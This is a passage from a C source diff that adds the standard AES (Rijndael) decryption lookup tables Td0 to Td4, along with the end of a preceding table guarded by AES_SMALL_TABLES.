0x10101010U, 0xffffffffU, 0xf3f3f3f3U, 0xd2d2d2d2U, + 0xcdcdcdcdU, 0x0c0c0c0cU, 0x13131313U, 0xececececU, + 0x5f5f5f5fU, 0x97979797U, 0x44444444U, 0x17171717U, + 0xc4c4c4c4U, 0xa7a7a7a7U, 0x7e7e7e7eU, 0x3d3d3d3dU, + 0x64646464U, 0x5d5d5d5dU, 0x19191919U, 0x73737373U, + 0x60606060U, 0x81818181U, 0x4f4f4f4fU, 0xdcdcdcdcU, + 0x22222222U, 0x2a2a2a2aU, 0x90909090U, 0x88888888U, + 0x46464646U, 0xeeeeeeeeU, 0xb8b8b8b8U, 0x14141414U, + 0xdedededeU, 0x5e5e5e5eU, 0x0b0b0b0bU, 0xdbdbdbdbU, + 0xe0e0e0e0U, 0x32323232U, 0x3a3a3a3aU, 0x0a0a0a0aU, + 0x49494949U, 0x06060606U, 0x24242424U, 0x5c5c5c5cU, + 0xc2c2c2c2U, 0xd3d3d3d3U, 0xacacacacU, 0x62626262U, + 0x91919191U, 0x95959595U, 0xe4e4e4e4U, 0x79797979U, + 0xe7e7e7e7U, 0xc8c8c8c8U, 0x37373737U, 0x6d6d6d6dU, + 0x8d8d8d8dU, 0xd5d5d5d5U, 0x4e4e4e4eU, 0xa9a9a9a9U, + 0x6c6c6c6cU, 0x56565656U, 0xf4f4f4f4U, 0xeaeaeaeaU, + 0x65656565U, 0x7a7a7a7aU, 0xaeaeaeaeU, 0x08080808U, + 0xbabababaU, 0x78787878U, 0x25252525U, 0x2e2e2e2eU, + 0x1c1c1c1cU, 0xa6a6a6a6U, 0xb4b4b4b4U, 0xc6c6c6c6U, + 0xe8e8e8e8U, 0xddddddddU, 0x74747474U, 0x1f1f1f1fU, + 0x4b4b4b4bU, 0xbdbdbdbdU, 0x8b8b8b8bU, 0x8a8a8a8aU, + 0x70707070U, 0x3e3e3e3eU, 0xb5b5b5b5U, 0x66666666U, + 0x48484848U, 0x03030303U, 0xf6f6f6f6U, 0x0e0e0e0eU, + 0x61616161U, 0x35353535U, 0x57575757U, 0xb9b9b9b9U, + 0x86868686U, 0xc1c1c1c1U, 0x1d1d1d1dU, 0x9e9e9e9eU, + 0xe1e1e1e1U, 0xf8f8f8f8U, 0x98989898U, 0x11111111U, + 0x69696969U, 0xd9d9d9d9U, 0x8e8e8e8eU, 0x94949494U, + 0x9b9b9b9bU, 0x1e1e1e1eU, 0x87878787U, 0xe9e9e9e9U, + 0xcecececeU, 0x55555555U, 0x28282828U, 0xdfdfdfdfU, + 0x8c8c8c8cU, 0xa1a1a1a1U, 0x89898989U, 0x0d0d0d0dU, + 0xbfbfbfbfU, 0xe6e6e6e6U, 0x42424242U, 0x68686868U, + 0x41414141U, 0x99999999U, 0x2d2d2d2dU, 0x0f0f0f0fU, + 0xb0b0b0b0U, 0x54545454U, 0xbbbbbbbbU, 0x16161616U, +}; +#endif /* AES_SMALL_TABLES */ +const u32 Td0[256] = { + 0x51f4a750U, 0x7e416553U, 0x1a17a4c3U, 0x3a275e96U, + 0x3bab6bcbU, 0x1f9d45f1U, 0xacfa58abU, 0x4be30393U, + 0x2030fa55U, 0xad766df6U, 0x88cc7691U, 0xf5024c25U, + 0x4fe5d7fcU, 0xc52acbd7U, 0x26354480U, 0xb562a38fU, + 0xdeb15a49U, 0x25ba1b67U, 0x45ea0e98U, 0x5dfec0e1U, + 0xc32f7502U, 0x814cf012U, 0x8d4697a3U, 0x6bd3f9c6U, + 0x038f5fe7U, 0x15929c95U, 0xbf6d7aebU, 0x955259daU, + 0xd4be832dU, 0x587421d3U, 0x49e06929U, 0x8ec9c844U, + 0x75c2896aU, 0xf48e7978U, 0x99583e6bU, 0x27b971ddU, + 0xbee14fb6U, 0xf088ad17U, 0xc920ac66U, 0x7dce3ab4U, + 0x63df4a18U, 0xe51a3182U, 0x97513360U, 0x62537f45U, + 0xb16477e0U, 0xbb6bae84U, 0xfe81a01cU, 0xf9082b94U, + 0x70486858U, 0x8f45fd19U, 0x94de6c87U, 0x527bf8b7U, + 0xab73d323U, 0x724b02e2U, 0xe31f8f57U, 0x6655ab2aU, + 0xb2eb2807U, 0x2fb5c203U, 0x86c57b9aU, 0xd33708a5U, + 0x302887f2U, 0x23bfa5b2U, 0x02036abaU, 0xed16825cU, + 0x8acf1c2bU, 0xa779b492U, 0xf307f2f0U, 0x4e69e2a1U, + 0x65daf4cdU, 0x0605bed5U, 0xd134621fU, 0xc4a6fe8aU, + 0x342e539dU, 0xa2f355a0U, 0x058ae132U, 0xa4f6eb75U, + 0x0b83ec39U, 0x4060efaaU, 0x5e719f06U, 0xbd6e1051U, + 0x3e218af9U, 0x96dd063dU, 0xdd3e05aeU, 0x4de6bd46U, + 0x91548db5U, 0x71c45d05U, 0x0406d46fU, 0x605015ffU, + 0x1998fb24U, 0xd6bde997U, 0x894043ccU, 0x67d99e77U, + 0xb0e842bdU, 0x07898b88U, 0xe7195b38U, 0x79c8eedbU, + 0xa17c0a47U, 0x7c420fe9U, 0xf8841ec9U, 0x00000000U, + 0x09808683U, 0x322bed48U, 0x1e1170acU, 0x6c5a724eU, + 0xfd0efffbU, 0x0f853856U, 0x3daed51eU, 0x362d3927U, + 0x0a0fd964U, 0x685ca621U, 0x9b5b54d1U, 0x24362e3aU, + 0x0c0a67b1U, 0x9357e70fU, 0xb4ee96d2U, 0x1b9b919eU, + 0x80c0c54fU, 0x61dc20a2U, 0x5a774b69U, 0x1c121a16U, + 0xe293ba0aU, 0xc0a02ae5U, 0x3c22e043U, 0x121b171dU, + 0x0e090d0bU, 0xf28bc7adU, 0x2db6a8b9U, 0x141ea9c8U, + 0x57f11985U, 0xaf75074cU, 0xee99ddbbU, 0xa37f60fdU, + 0xf701269fU, 0x5c72f5bcU, 0x44663bc5U, 0x5bfb7e34U, + 0x8b432976U, 0xcb23c6dcU, 0xb6edfc68U, 0xb8e4f163U, + 0xd731dccaU, 0x42638510U, 0x13972240U, 0x84c61120U, + 0x854a247dU, 0xd2bb3df8U, 0xaef93211U, 0xc729a16dU, + 0x1d9e2f4bU, 0xdcb230f3U, 0x0d8652ecU, 0x77c1e3d0U, + 0x2bb3166cU, 0xa970b999U, 0x119448faU, 0x47e96422U, + 0xa8fc8cc4U, 0xa0f03f1aU, 0x567d2cd8U, 0x223390efU, + 0x87494ec7U, 0xd938d1c1U, 0x8ccaa2feU, 0x98d40b36U, + 0xa6f581cfU, 0xa57ade28U, 0xdab78e26U, 0x3fadbfa4U, + 0x2c3a9de4U, 0x5078920dU, 0x6a5fcc9bU, 0x547e4662U, + 0xf68d13c2U, 0x90d8b8e8U, 0x2e39f75eU, 0x82c3aff5U, + 0x9f5d80beU, 0x69d0937cU, 0x6fd52da9U, 0xcf2512b3U, + 0xc8ac993bU, 0x10187da7U, 0xe89c636eU, 0xdb3bbb7bU, + 0xcd267809U, 0x6e5918f4U, 0xec9ab701U, 0x834f9aa8U, + 0xe6956e65U, 0xaaffe67eU, 0x21bccf08U, 0xef15e8e6U, + 0xbae79bd9U, 0x4a6f36ceU, 0xea9f09d4U, 0x29b07cd6U, + 0x31a4b2afU, 0x2a3f2331U, 0xc6a59430U, 0x35a266c0U, + 0x744ebc37U, 0xfc82caa6U, 0xe090d0b0U, 0x33a7d815U, + 0xf104984aU, 0x41ecdaf7U, 0x7fcd500eU, 0x1791f62fU, + 0x764dd68dU, 0x43efb04dU, 0xccaa4d54U, 0xe49604dfU, + 0x9ed1b5e3U, 0x4c6a881bU, 0xc12c1fb8U, 0x4665517fU, + 0x9d5eea04U, 0x018c355dU, 0xfa877473U, 0xfb0b412eU, + 0xb3671d5aU, 0x92dbd252U, 0xe9105633U, 0x6dd64713U, + 0x9ad7618cU, 0x37a10c7aU, 0x59f8148eU, 0xeb133c89U, + 0xcea927eeU, 0xb761c935U, 0xe11ce5edU, 0x7a47b13cU, + 0x9cd2df59U, 0x55f2733fU, 0x1814ce79U, 0x73c737bfU, + 0x53f7cdeaU, 0x5ffdaa5bU, 0xdf3d6f14U, 0x7844db86U, + 0xcaaff381U, 0xb968c43eU, 0x3824342cU, 0xc2a3405fU, + 0x161dc372U, 0xbce2250cU, 0x283c498bU, 0xff0d9541U, + 0x39a80171U, 0x080cb3deU, 0xd8b4e49cU, 0x6456c190U, + 0x7bcb8461U, 0xd532b670U, 0x486c5c74U, 0xd0b85742U, +}; +#ifndef AES_SMALL_TABLES +const u32 Td1[256] = { + 0x5051f4a7U, 0x537e4165U, 0xc31a17a4U, 0x963a275eU, + 0xcb3bab6bU, 0xf11f9d45U, 0xabacfa58U, 0x934be303U, + 0x552030faU, 0xf6ad766dU, 0x9188cc76U, 0x25f5024cU, + 0xfc4fe5d7U, 0xd7c52acbU, 0x80263544U, 0x8fb562a3U, + 0x49deb15aU, 0x6725ba1bU, 0x9845ea0eU, 0xe15dfec0U, + 0x02c32f75U, 0x12814cf0U, 0xa38d4697U, 0xc66bd3f9U, + 0xe7038f5fU, 0x9515929cU, 0xebbf6d7aU, 0xda955259U, + 0x2dd4be83U, 0xd3587421U, 0x2949e069U, 0x448ec9c8U, + 0x6a75c289U, 0x78f48e79U, 0x6b99583eU, 0xdd27b971U, + 0xb6bee14fU, 0x17f088adU, 0x66c920acU, 0xb47dce3aU, + 0x1863df4aU, 0x82e51a31U, 0x60975133U, 0x4562537fU, + 0xe0b16477U, 0x84bb6baeU, 0x1cfe81a0U, 0x94f9082bU, + 0x58704868U, 0x198f45fdU, 0x8794de6cU, 0xb7527bf8U, + 0x23ab73d3U, 0xe2724b02U, 0x57e31f8fU, 0x2a6655abU, + 0x07b2eb28U, 0x032fb5c2U, 0x9a86c57bU, 0xa5d33708U, + 0xf2302887U, 0xb223bfa5U, 0xba02036aU, 0x5ced1682U, + 0x2b8acf1cU, 0x92a779b4U, 0xf0f307f2U, 0xa14e69e2U, + 0xcd65daf4U, 0xd50605beU, 0x1fd13462U, 0x8ac4a6feU, + 0x9d342e53U, 0xa0a2f355U, 0x32058ae1U, 0x75a4f6ebU, + 0x390b83ecU, 0xaa4060efU, 0x065e719fU, 0x51bd6e10U, + 0xf93e218aU, 0x3d96dd06U, 0xaedd3e05U, 0x464de6bdU, + 0xb591548dU, 0x0571c45dU, 0x6f0406d4U, 0xff605015U, + 0x241998fbU, 0x97d6bde9U, 0xcc894043U, 0x7767d99eU, + 0xbdb0e842U, 0x8807898bU, 0x38e7195bU, 0xdb79c8eeU, + 0x47a17c0aU, 0xe97c420fU, 0xc9f8841eU, 0x00000000U, + 0x83098086U, 0x48322bedU, 0xac1e1170U, 0x4e6c5a72U, + 0xfbfd0effU, 0x560f8538U, 0x1e3daed5U, 0x27362d39U, + 0x640a0fd9U, 0x21685ca6U, 0xd19b5b54U, 0x3a24362eU, + 0xb10c0a67U, 0x0f9357e7U, 0xd2b4ee96U, 0x9e1b9b91U, + 0x4f80c0c5U, 0xa261dc20U, 0x695a774bU, 0x161c121aU, + 0x0ae293baU, 0xe5c0a02aU, 0x433c22e0U, 0x1d121b17U, + 0x0b0e090dU, 0xadf28bc7U, 0xb92db6a8U, 0xc8141ea9U, + 0x8557f119U, 0x4caf7507U, 0xbbee99ddU, 0xfda37f60U, + 0x9ff70126U, 0xbc5c72f5U, 0xc544663bU, 0x345bfb7eU, + 0x768b4329U, 0xdccb23c6U, 0x68b6edfcU, 0x63b8e4f1U, + 0xcad731dcU, 0x10426385U, 0x40139722U, 0x2084c611U, + 0x7d854a24U, 0xf8d2bb3dU, 0x11aef932U, 0x6dc729a1U, + 0x4b1d9e2fU, 0xf3dcb230U, 0xec0d8652U, 0xd077c1e3U, + 0x6c2bb316U, 0x99a970b9U, 0xfa119448U, 0x2247e964U, + 0xc4a8fc8cU, 0x1aa0f03fU, 0xd8567d2cU, 0xef223390U, + 0xc787494eU, 0xc1d938d1U, 0xfe8ccaa2U, 0x3698d40bU, + 0xcfa6f581U, 0x28a57adeU, 0x26dab78eU, 0xa43fadbfU, + 0xe42c3a9dU, 0x0d507892U, 0x9b6a5fccU, 0x62547e46U, + 0xc2f68d13U, 0xe890d8b8U, 0x5e2e39f7U, 0xf582c3afU, + 0xbe9f5d80U, 0x7c69d093U, 0xa96fd52dU, 0xb3cf2512U, + 0x3bc8ac99U, 0xa710187dU, 0x6ee89c63U, 0x7bdb3bbbU, + 0x09cd2678U, 0xf46e5918U, 0x01ec9ab7U, 0xa8834f9aU, + 0x65e6956eU, 0x7eaaffe6U, 0x0821bccfU, 0xe6ef15e8U, + 0xd9bae79bU, 0xce4a6f36U, 0xd4ea9f09U, 0xd629b07cU, + 0xaf31a4b2U, 0x312a3f23U, 0x30c6a594U, 0xc035a266U, + 0x37744ebcU, 0xa6fc82caU, 0xb0e090d0U, 0x1533a7d8U, + 0x4af10498U, 0xf741ecdaU, 0x0e7fcd50U, 0x2f1791f6U, + 0x8d764dd6U, 0x4d43efb0U, 0x54ccaa4dU, 0xdfe49604U, + 0xe39ed1b5U, 0x1b4c6a88U, 0xb8c12c1fU, 0x7f466551U, + 0x049d5eeaU, 0x5d018c35U, 0x73fa8774U, 0x2efb0b41U, + 0x5ab3671dU, 0x5292dbd2U, 0x33e91056U, 0x136dd647U, + 0x8c9ad761U, 0x7a37a10cU, 0x8e59f814U, 0x89eb133cU, + 0xeecea927U, 0x35b761c9U, 0xede11ce5U, 0x3c7a47b1U, + 0x599cd2dfU, 0x3f55f273U, 0x791814ceU, 0xbf73c737U, + 0xea53f7cdU, 0x5b5ffdaaU, 0x14df3d6fU, 0x867844dbU, + 0x81caaff3U, 0x3eb968c4U, 0x2c382434U, 0x5fc2a340U, + 0x72161dc3U, 0x0cbce225U, 0x8b283c49U, 0x41ff0d95U, + 0x7139a801U, 0xde080cb3U, 0x9cd8b4e4U, 0x906456c1U, + 0x617bcb84U, 0x70d532b6U, 0x74486c5cU, 0x42d0b857U, +}; +const u32 Td2[256] = { + 0xa75051f4U, 0x65537e41U, 0xa4c31a17U, 0x5e963a27U, + 0x6bcb3babU, 0x45f11f9dU, 0x58abacfaU, 0x03934be3U, + 0xfa552030U, 0x6df6ad76U, 0x769188ccU, 0x4c25f502U, + 0xd7fc4fe5U, 0xcbd7c52aU, 0x44802635U, 0xa38fb562U, + 0x5a49deb1U, 0x1b6725baU, 0x0e9845eaU, 0xc0e15dfeU, + 0x7502c32fU, 0xf012814cU, 0x97a38d46U, 0xf9c66bd3U, + 0x5fe7038fU, 0x9c951592U, 0x7aebbf6dU, 0x59da9552U, + 0x832dd4beU, 0x21d35874U, 0x692949e0U, 0xc8448ec9U, + 0x896a75c2U, 0x7978f48eU, 0x3e6b9958U, 0x71dd27b9U, + 0x4fb6bee1U, 0xad17f088U, 0xac66c920U, 0x3ab47dceU, + 0x4a1863dfU, 0x3182e51aU, 0x33609751U, 0x7f456253U, + 0x77e0b164U, 0xae84bb6bU, 0xa01cfe81U, 0x2b94f908U, + 0x68587048U, 0xfd198f45U, 0x6c8794deU, 0xf8b7527bU, + 0xd323ab73U, 0x02e2724bU, 0x8f57e31fU, 0xab2a6655U, + 0x2807b2ebU, 0xc2032fb5U, 0x7b9a86c5U, 0x08a5d337U, + 0x87f23028U, 0xa5b223bfU, 0x6aba0203U, 0x825ced16U, + 0x1c2b8acfU, 0xb492a779U, 0xf2f0f307U, 0xe2a14e69U, + 0xf4cd65daU, 0xbed50605U, 0x621fd134U, 0xfe8ac4a6U, + 0x539d342eU, 0x55a0a2f3U, 0xe132058aU, 0xeb75a4f6U, + 0xec390b83U, 0xefaa4060U, 0x9f065e71U, 0x1051bd6eU, + + 0x8af93e21U, 0x063d96ddU, 0x05aedd3eU, 0xbd464de6U, + 0x8db59154U, 0x5d0571c4U, 0xd46f0406U, 0x15ff6050U, + 0xfb241998U, 0xe997d6bdU, 0x43cc8940U, 0x9e7767d9U, + 0x42bdb0e8U, 0x8b880789U, 0x5b38e719U, 0xeedb79c8U, + 0x0a47a17cU, 0x0fe97c42U, 0x1ec9f884U, 0x00000000U, + 0x86830980U, 0xed48322bU, 0x70ac1e11U, 0x724e6c5aU, + 0xfffbfd0eU, 0x38560f85U, 0xd51e3daeU, 0x3927362dU, + 0xd9640a0fU, 0xa621685cU, 0x54d19b5bU, 0x2e3a2436U, + 0x67b10c0aU, 0xe70f9357U, 0x96d2b4eeU, 0x919e1b9bU, + 0xc54f80c0U, 0x20a261dcU, 0x4b695a77U, 0x1a161c12U, + 0xba0ae293U, 0x2ae5c0a0U, 0xe0433c22U, 0x171d121bU, + 0x0d0b0e09U, 0xc7adf28bU, 0xa8b92db6U, 0xa9c8141eU, + 0x198557f1U, 0x074caf75U, 0xddbbee99U, 0x60fda37fU, + 0x269ff701U, 0xf5bc5c72U, 0x3bc54466U, 0x7e345bfbU, + 0x29768b43U, 0xc6dccb23U, 0xfc68b6edU, 0xf163b8e4U, + 0xdccad731U, 0x85104263U, 0x22401397U, 0x112084c6U, + 0x247d854aU, 0x3df8d2bbU, 0x3211aef9U, 0xa16dc729U, + 0x2f4b1d9eU, 0x30f3dcb2U, 0x52ec0d86U, 0xe3d077c1U, + 0x166c2bb3U, 0xb999a970U, 0x48fa1194U, 0x642247e9U, + 0x8cc4a8fcU, 0x3f1aa0f0U, 0x2cd8567dU, 0x90ef2233U, + 0x4ec78749U, 0xd1c1d938U, 0xa2fe8ccaU, 0x0b3698d4U, + 0x81cfa6f5U, 0xde28a57aU, 0x8e26dab7U, 0xbfa43fadU, + 0x9de42c3aU, 0x920d5078U, 0xcc9b6a5fU, 0x4662547eU, + 0x13c2f68dU, 0xb8e890d8U, 0xf75e2e39U, 0xaff582c3U, + 0x80be9f5dU, 0x937c69d0U, 0x2da96fd5U, 0x12b3cf25U, + 0x993bc8acU, 0x7da71018U, 0x636ee89cU, 0xbb7bdb3bU, + 0x7809cd26U, 0x18f46e59U, 0xb701ec9aU, 0x9aa8834fU, + 0x6e65e695U, 0xe67eaaffU, 0xcf0821bcU, 0xe8e6ef15U, + 0x9bd9bae7U, 0x36ce4a6fU, 0x09d4ea9fU, 0x7cd629b0U, + 0xb2af31a4U, 0x23312a3fU, 0x9430c6a5U, 0x66c035a2U, + 0xbc37744eU, 0xcaa6fc82U, 0xd0b0e090U, 0xd81533a7U, + 0x984af104U, 0xdaf741ecU, 0x500e7fcdU, 0xf62f1791U, + 0xd68d764dU, 0xb04d43efU, 0x4d54ccaaU, 0x04dfe496U, + 0xb5e39ed1U, 0x881b4c6aU, 0x1fb8c12cU, 0x517f4665U, + 0xea049d5eU, 0x355d018cU, 0x7473fa87U, 0x412efb0bU, + 0x1d5ab367U, 0xd25292dbU, 0x5633e910U, 0x47136dd6U, + 0x618c9ad7U, 0x0c7a37a1U, 0x148e59f8U, 0x3c89eb13U, + 0x27eecea9U, 0xc935b761U, 0xe5ede11cU, 0xb13c7a47U, + 0xdf599cd2U, 0x733f55f2U, 0xce791814U, 0x37bf73c7U, + 0xcdea53f7U, 0xaa5b5ffdU, 0x6f14df3dU, 0xdb867844U, + 0xf381caafU, 0xc43eb968U, 0x342c3824U, 0x405fc2a3U, + 0xc372161dU, 0x250cbce2U, 0x498b283cU, 0x9541ff0dU, + 0x017139a8U, 0xb3de080cU, 0xe49cd8b4U, 0xc1906456U, + 0x84617bcbU, 0xb670d532U, 0x5c74486cU, 0x5742d0b8U, +}; +const u32 Td3[256] = { + 0xf4a75051U, 0x4165537eU, 0x17a4c31aU, 0x275e963aU, + 0xab6bcb3bU, 0x9d45f11fU, 0xfa58abacU, 0xe303934bU, + 0x30fa5520U, 0x766df6adU, 0xcc769188U, 0x024c25f5U, + 0xe5d7fc4fU, 0x2acbd7c5U, 0x35448026U, 0x62a38fb5U, + 0xb15a49deU, 0xba1b6725U, 0xea0e9845U, 0xfec0e15dU, + 0x2f7502c3U, 0x4cf01281U, 0x4697a38dU, 0xd3f9c66bU, + 0x8f5fe703U, 0x929c9515U, 0x6d7aebbfU, 0x5259da95U, + 0xbe832dd4U, 0x7421d358U, 0xe0692949U, 0xc9c8448eU, + 0xc2896a75U, 0x8e7978f4U, 0x583e6b99U, 0xb971dd27U, + 0xe14fb6beU, 0x88ad17f0U, 0x20ac66c9U, 0xce3ab47dU, + 0xdf4a1863U, 0x1a3182e5U, 0x51336097U, 0x537f4562U, + 0x6477e0b1U, 0x6bae84bbU, 0x81a01cfeU, 0x082b94f9U, + 0x48685870U, 0x45fd198fU, 0xde6c8794U, 0x7bf8b752U, + 0x73d323abU, 0x4b02e272U, 0x1f8f57e3U, 0x55ab2a66U, + 0xeb2807b2U, 0xb5c2032fU, 0xc57b9a86U, 0x3708a5d3U, + 0x2887f230U, 0xbfa5b223U, 0x036aba02U, 0x16825cedU, + 0xcf1c2b8aU, 0x79b492a7U, 0x07f2f0f3U, 0x69e2a14eU, + 0xdaf4cd65U, 0x05bed506U, 0x34621fd1U, 0xa6fe8ac4U, + 0x2e539d34U, 0xf355a0a2U, 0x8ae13205U, 0xf6eb75a4U, + 0x83ec390bU, 0x60efaa40U, 0x719f065eU, 0x6e1051bdU, + 0x218af93eU, 0xdd063d96U, 0x3e05aeddU, 0xe6bd464dU, + 0x548db591U, 0xc45d0571U, 0x06d46f04U, 0x5015ff60U, + 0x98fb2419U, 0xbde997d6U, 0x4043cc89U, 0xd99e7767U, + 0xe842bdb0U, 0x898b8807U, 0x195b38e7U, 0xc8eedb79U, + 0x7c0a47a1U, 0x420fe97cU, 0x841ec9f8U, 0x00000000U, + 0x80868309U, 0x2bed4832U, 0x1170ac1eU, 0x5a724e6cU, + 0x0efffbfdU, 0x8538560fU, 0xaed51e3dU, 0x2d392736U, + 0x0fd9640aU, 0x5ca62168U, 0x5b54d19bU, 0x362e3a24U, + 0x0a67b10cU, 0x57e70f93U, 0xee96d2b4U, 0x9b919e1bU, + 0xc0c54f80U, 0xdc20a261U, 0x774b695aU, 0x121a161cU, + 0x93ba0ae2U, 0xa02ae5c0U, 0x22e0433cU, 0x1b171d12U, + 0x090d0b0eU, 0x8bc7adf2U, 0xb6a8b92dU, 0x1ea9c814U, + 0xf1198557U, 0x75074cafU, 0x99ddbbeeU, 0x7f60fda3U, + 0x01269ff7U, 0x72f5bc5cU, 0x663bc544U, 0xfb7e345bU, + 0x4329768bU, 0x23c6dccbU, 0xedfc68b6U, 0xe4f163b8U, + 0x31dccad7U, 0x63851042U, 0x97224013U, 0xc6112084U, + 0x4a247d85U, 0xbb3df8d2U, 0xf93211aeU, 0x29a16dc7U, + 0x9e2f4b1dU, 0xb230f3dcU, 0x8652ec0dU, 0xc1e3d077U, + 0xb3166c2bU, 0x70b999a9U, 0x9448fa11U, 0xe9642247U, + 0xfc8cc4a8U, 0xf03f1aa0U, 0x7d2cd856U, 0x3390ef22U, + 0x494ec787U, 0x38d1c1d9U, 0xcaa2fe8cU, 0xd40b3698U, + 0xf581cfa6U, 0x7ade28a5U, 0xb78e26daU, 0xadbfa43fU, + 0x3a9de42cU, 0x78920d50U, 0x5fcc9b6aU, 0x7e466254U, + 0x8d13c2f6U, 0xd8b8e890U, 0x39f75e2eU, 0xc3aff582U, + 0x5d80be9fU, 0xd0937c69U, 0xd52da96fU, 0x2512b3cfU, + 0xac993bc8U, 0x187da710U, 0x9c636ee8U, 0x3bbb7bdbU, + 0x267809cdU, 0x5918f46eU, 0x9ab701ecU, 0x4f9aa883U, + 0x956e65e6U, 0xffe67eaaU, 0xbccf0821U, 0x15e8e6efU, + 0xe79bd9baU, 0x6f36ce4aU, 0x9f09d4eaU, 0xb07cd629U, + 0xa4b2af31U, 0x3f23312aU, 0xa59430c6U, 0xa266c035U, + 0x4ebc3774U, 0x82caa6fcU, 0x90d0b0e0U, 0xa7d81533U, + 0x04984af1U, 0xecdaf741U, 0xcd500e7fU, 0x91f62f17U, + 0x4dd68d76U, 0xefb04d43U, 0xaa4d54ccU, 0x9604dfe4U, + 0xd1b5e39eU, 0x6a881b4cU, 0x2c1fb8c1U, 0x65517f46U, + 0x5eea049dU, 0x8c355d01U, 0x877473faU, 0x0b412efbU, + 0x671d5ab3U, 0xdbd25292U, 0x105633e9U, 0xd647136dU, + 0xd7618c9aU, 0xa10c7a37U, 0xf8148e59U, 0x133c89ebU, + 0xa927eeceU, 0x61c935b7U, 0x1ce5ede1U, 0x47b13c7aU, + 0xd2df599cU, 0xf2733f55U, 0x14ce7918U, 0xc737bf73U, + 0xf7cdea53U, 0xfdaa5b5fU, 0x3d6f14dfU, 0x44db8678U, + 0xaff381caU, 0x68c43eb9U, 0x24342c38U, 0xa3405fc2U, + 0x1dc37216U, 0xe2250cbcU, 0x3c498b28U, 0x0d9541ffU, + 0xa8017139U, 0x0cb3de08U, 0xb4e49cd8U, 0x56c19064U, + 0xcb84617bU, 0x32b670d5U, 0x6c5c7448U, 0xb85742d0U, +}; +const u32 Td4[256] = { + 0x52525252U, 0x09090909U, 0x6a6a6a6aU, 0xd5d5d5d5U, + 0x30303030U, 0x36363636U, 0xa5a5a5a5U, 0x38383838U, + 0xbfbfbfbfU, 0x40404040U, 0xa3a3a3a3U, 0x9e9e9e9eU, + 0x81818181U, 0xf3f3f3f3U, 0xd7d7d7d7U, 0xfbfbfbfbU, + 0x7c7c7c7cU, 0xe3e3e3e3U, 0x39393939U, 0x82828282U, + 0x9b9b9b9bU, 0x2f2f2f2fU, 0xffffffffU, 0x87878787U, + 0x34343434U, 0x8e8e8e8eU, 0x43434343U, 0x44444444U, + 0xc4c4c4c4U, 0xdedededeU, 0xe9e9e9e9U, 0xcbcbcbcbU, + 0x54545454U, 0x7b7b7b7bU, 0x94949494U, 0x32323232U, + 0xa6a6a6a6U, 0xc2c2c2c2U, 0x23232323U, 0x3d3d3d3dU, + 0xeeeeeeeeU, 0x4c4c4c4cU, 0x95959595U, 0x0b0b0b0bU, + 0x42424242U, 0xfafafafaU, 0xc3c3c3c3U, 0x4e4e4e4eU, + 0x08080808U, 0x2e2e2e2eU, 0xa1a1a1a1U, 0x66666666U, + 0x28282828U, 0xd9d9d9d9U, 0x24242424U, 0xb2b2b2b2U, + 0x76767676U, 0x5b5b5b5bU, 0xa2a2a2a2U, 0x49494949U, + 0x6d6d6d6dU, 0x8b8b8b8bU, 0xd1d1d1d1U, 0x25252525U, + 0x72727272U, 0xf8f8f8f8U, 0xf6f6f6f6U, 0x64646464U, + 0x86868686U, 0x68686868U, 0x98989898U, 0x16161616U, + 0xd4d4d4d4U, 0xa4a4a4a4U, 0x5c5c5c5cU, 0xccccccccU, + 0x5d5d5d5dU, 0x65656565U, 0xb6b6b6b6U, 0x92929292U, + 0x6c6c6c6cU, 0x70707070U, 0x48484848U, 0x50505050U, + 0xfdfdfdfdU, 0xededededU, 0xb9b9b9b9U, 0xdadadadaU, + 0x5e5e5e5eU, 0x15151515U, 0x46464646U, 0x57575757U, + 0xa7a7a7a7U, 0x8d8d8d8dU, 0x9d9d9d9dU, 0x84848484U, + 0x90909090U, 0xd8d8d8d8U, 0xababababU, 0x00000000U, + 0x8c8c8c8cU, 0xbcbcbcbcU, 0xd3d3d3d3U, 0x0a0a0a0aU, + 0xf7f7f7f7U, 0xe4e4e4e4U, 0x58585858U, 0x05050505U, + 0xb8b8b8b8U, 0xb3b3b3b3U, 0x45454545U, 0x06060606U, + 0xd0d0d0d0U, 0x2c2c2c2cU, 0x1e1e1e1eU, 0x8f8f8f8fU, + 0xcacacacaU, 0x3f3f3f3fU, 0x0f0f0f0fU, 0x02020202U, + 0xc1c1c1c1U, 0xafafafafU, 0xbdbdbdbdU, 0x03030303U, + 0x01010101U, 0x13131313U, 0x8a8a8a8aU, 0x6b6b6b6bU, + 0x3a3a3a3aU, 0x91919191U, 0x11111111U, 0x41414141U, + 0x4f4f4f4fU, 0x67676767U, 0xdcdcdcdcU, 0xeaeaeaeaU, + 0x97979797U, 0xf2f2f2f2U, 0xcfcfcfcfU, 0xcecececeU, + 0xf0f0f0f0U, 0xb4b4b4b4U, 0xe6e6e6e6U, 0x73737373U, + 0x96969696U, 0xacacacacU, 0x74747474U, 0x22222222U, + 0xe7e7e7e7U, 0xadadadadU, 0x35353535U, 0x85858585U, + 0xe2e2e2e2U, 0xf9f9f9f9U, 0x37373737U, 0xe8e8e8e8U, + 0x1c1c1c1cU, 0x75757575U, 0xdfdfdfdfU, 0x6e6e6e6eU, + 0x47474747U, 0xf1f1f1f1U, 0x1a1a1a1aU, 0x71717171U, + 0x1d1d1d1dU, 0x29292929U, 0xc5c5c5c5U, 0x89898989U, + 0x6f6f6f6fU, 0xb7b7b7b7U, 0x62626262U, 0x0e0e0e0eU, + 0xaaaaaaaaU, 0x18181818U, 0xbebebebeU, 0x1b1b1b1bU, + 0xfcfcfcfcU, 0x56565656U, 0x3e3e3e3eU, 0x4b4b4b4bU, + 0xc6c6c6c6U, 0xd2d2d2d2U, 0x79797979U, 0x20202020U, + 0x9a9a9a9aU, 0xdbdbdbdbU, 0xc0c0c0c0U, 0xfefefefeU, + 0x78787878U, 0xcdcdcdcdU, 0x5a5a5a5aU, 0xf4f4f4f4U, + 0x1f1f1f1fU, 0xddddddddU, 0xa8a8a8a8U, 0x33333333U, + 0x88888888U, 0x07070707U, 0xc7c7c7c7U, 0x31313131U, + 0xb1b1b1b1U, 0x12121212U, 0x10101010U, 0x59595959U, + 0x27272727U, 0x80808080U, 0xececececU, 0x5f5f5f5fU, + 0x60606060U, 0x51515151U, 0x7f7f7f7fU, 0xa9a9a9a9U, + 0x19191919U, 0xb5b5b5b5U, 0x4a4a4a4aU, 0x0d0d0d0dU, + 0x2d2d2d2dU, 0xe5e5e5e5U, 0x7a7a7a7aU, 0x9f9f9f9fU, + 0x93939393U, 0xc9c9c9c9U, 0x9c9c9c9cU, 0xefefefefU, + 0xa0a0a0a0U, 0xe0e0e0e0U, 0x3b3b3b3bU, 